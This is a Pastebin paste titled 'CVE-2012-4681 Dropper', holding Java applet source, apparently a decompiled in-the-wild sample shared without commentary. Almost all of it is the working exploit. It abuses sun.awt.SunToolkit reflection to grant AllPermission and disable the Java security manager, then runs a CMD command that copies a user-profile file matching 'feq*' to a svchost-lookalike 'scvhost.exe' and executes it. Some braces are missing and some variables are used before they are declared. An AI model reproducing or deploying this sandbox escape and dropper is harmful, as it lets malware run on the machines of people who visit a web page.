Advertisement
unixfreaxjp

CVE-2012-4681 Dropper

Sep 12th, 2012
128
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import java.applet.Applet; import java.awt.Graphics;
  2. import java.beans.Expression; import java.beans.Statement;
  3. import java.lang.reflect.Field; import java.net.URL;
  4. import java.security.AllPermission; import java.security.CodeSource;
  5. import java.security.Permissions; import java.security.ProtectionDomain;
  6. import java.security.PermissionCollection;
  7. import java.security.cert.Certificate;
  8. import java.security.AccessControlContext;
  9.  
  10. public class subway extends Applet
  11. { public subway()
  12. try{
  13. localObject1 = this;
  14. Statement localStatement1 = new Statement(System.class, "setSecurityManager", new Object[] { null });
  15. (localObject2 = new Permissions()).add(new AllPermission());
  16. Object localObject2 = new ProtectionDomain(new CodeSource(new URL("file:///"),
  17. new Certificate[0]), (PermissionCollection)localObject2);
  18. localObject2 = new AccessControlContext(new ProtectionDomain[] { localObject2 });
  19. Object localObject4 = localObject2;
  20. Statement localStatement2 = localStatement1;
  21. Object localObject3 = "acc";
  22. localObject2 = Statement.class;
  23. localObject1 = localObject1;
  24. (localObject1 = new Object[2])[0] = localObject2;
  25. localObject1[1] = localObject3;
  26. localObject2 = "sun.awt.SunToolkit";
  27. (localObject3 = new Object[1])[0] = localObject2;
  28. (localObject2 = new Expression(Class.class, "forName", localObject3)).execute();
  29. (localObject1 = new Expression((Class)
  30. ((Expression)localObject2).getValue(), "getField", localObject1)).execute();
  31.  
  32. ((Field)((Expression)localObject1).getValue()).set(localStatement2, localObject4);
  33. localStatement1.execute();
  34. Runtime.getRuntime().exec("CMD /C FOR /R \"%USERPROFILE%\\\" %i IN (feq*)
  35. DO copy \"%i\" \"%USERPROFILE%\\scvhost.exe\"&cmd /c
  36. \"%USERPROFILE%\\scvhost.exe\"");
  37. return; }
  38. catch (Throwable localThrowable){
  39. Object localObject1;
  40. (localObject1 = localThrowable).printStackTrace();
  41. } }
  42. public void paint(Graphics paramGraphics)
  43. paramGraphics.drawString("", 10, 10); }}
Advertisement
RAW Paste Data Copied
Advertisement